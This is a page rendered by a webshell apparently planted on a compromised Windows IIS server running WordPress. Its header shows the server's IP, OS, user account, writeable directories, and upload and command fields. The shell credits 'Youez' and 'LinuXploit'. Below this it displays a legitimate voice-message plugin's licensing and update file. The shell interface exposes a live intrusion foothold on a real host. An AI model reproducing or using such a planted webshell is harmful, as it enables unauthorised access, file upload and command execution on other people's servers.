403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/AIWEBSTATION/wp-content/plugins/voice-message-addon/plugin-upgrader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/AIWEBSTATION/wp-content/plugins/voice-message-addon/plugin-upgrader//utils.php
<?php
function wpbotvoicemessage_show_empty_license_notification_on_plugin_row( $plugin_file, $plugin_data, $status ) {
	
	$qcld_renew_subscription = get_wpbotvoicemessage_renew_transient();

	if( !get_wpbotvoicemessage_license_purchase_code() ){		
		$params = array(
					'body' => array(
						'action'       => 'info',
						'plugin-slug'  => wpbotvoicemessage_LICENSING_PLUGIN_SLUG,
					),
				);
		$request = wp_remote_post(wpbotvoicemessage_LICENSING_REMOTE_PATH, $params, array('timeout' => 60) );

		$remote_data = '';
		if ( !is_wp_error( $request ) || wp_remote_retrieve_response_code( $request ) === 200 ) {
			$remote_data = unserialize( $request['body'] );
			$get_plugin_data = get_wpbotvoicemessage_licensing_plugin_data();

			$plugin_current_version = $get_plugin_data['Version'];
			
			if ( $remote_data && version_compare( $plugin_current_version, $remote_data->new_version, '<' ) ) {
				echo '<tr class="plugin-update-tr wpbotvoicemessage-empty-license">
			  			<td colspan="3" class="plugin-update colspanchange">
				        	<div class="update-message notice inline notice-warning notice-alt">
				        		<p>There is a new version available. <a href="'.esc_url('https://www.ultrawebmedia.com/li/plugins/wpbotvoicemessage/changelog.txt').'" target="_blank">View version details</a>. Automatic update is unavailable for this plugin. To receive automatic updates, valid license is required.Updates are crucial for compatibility and security.</p>
				        	</div>
				        </td>
				    </tr>';
			}
		}
	}
}
// add_action("after_plugin_row_".wpbotvoicemessage_LICENSING_PLUGIN_SLUG, 'wpbotvoicemessage_show_empty_license_notification_on_plugin_row', 9, 3 );

function qcld_wpbotvoicemessage_activate_au()
{
	$plugin_slug = wpbotvoicemessage_LICENSING_PLUGIN_SLUG;
	$get_plugin_data = get_wpbotvoicemessage_licensing_plugin_data();

	$plugin_current_version = $get_plugin_data['Version'];
	$plugin_remote_path =  wpbotvoicemessage_LICENSING_REMOTE_PATH;
	$license_key = get_wpbotvoicemessage_licensing_key();
	$buy_from = get_wpbotvoicemessage_licensing_buy_from();
	//6076-qcldpl-4784-1553173833
	//error_log($buy_from.' buy_from');
	if( $buy_from == 'quantumcloud' ){
		$upgrader_instance = new QCLD_wpbotvoicemessage_AutoUpdate ( $plugin_current_version, $plugin_remote_path, $plugin_slug, '', $license_key );
	}
}
add_action( 'init', 'qcld_wpbotvoicemessage_activate_au' );


function qcld_wpbotvoicemessage_upgrade_completed( $upgrader_object, $options ) {
	// The path to our plugin's main file
	$plugin_slug = wpbotvoicemessage_LICENSING_PLUGIN_SLUG;
	// If an update has taken place and the updated type is plugins and the plugins element exists
	if( $options['action'] == 'update' && $options['type'] == 'plugin' && isset( $options['plugins'] ) ) {
		// Iterate through the plugins being updated and check if ours is there
		foreach( $options['plugins'] as $plugin ) {
			if( $plugin == $plugin_slug ) {
				delete_wpbotvoicemessage_update_transient();
				delete_wpbotvoicemessage_renew_transient();
			}
		}
	}
}
add_action( 'upgrader_process_complete', 'qcld_wpbotvoicemessage_upgrade_completed', 10, 2 );

add_action('admin_enqueue_scripts', 'qcld_wpbotvoicemessage_licensing_scripts');

function qcld_wpbotvoicemessage_licensing_scripts(){
	wp_enqueue_style('qcld_wpbotvoicemessage_licensing_style', plugin_dir_url( __FILE__ ).'/assets/css/style.css');

	//start new-update-for-codecanyon
	wp_enqueue_script('qcld_wpbotvoicemessage_licensing_script', plugin_dir_url( __FILE__ ).'/assets/js/script.js', array('jquery'), false, true );

	wp_localize_script( 'qcld_wpbotvoicemessage_licensing_script', 'wpbotvoicemessage_licensing_admin_ajax', array(
			'ajax_url' => admin_url( 'admin-ajax.php' ), 
			'nonce' => wp_create_nonce( "wpbotvoicemessage_licensing_admin_nonce" )
		)
	);
	//end new-update-for-codecanyon
}

Youez - 2016 - github.com/yon3zu
LinuXploit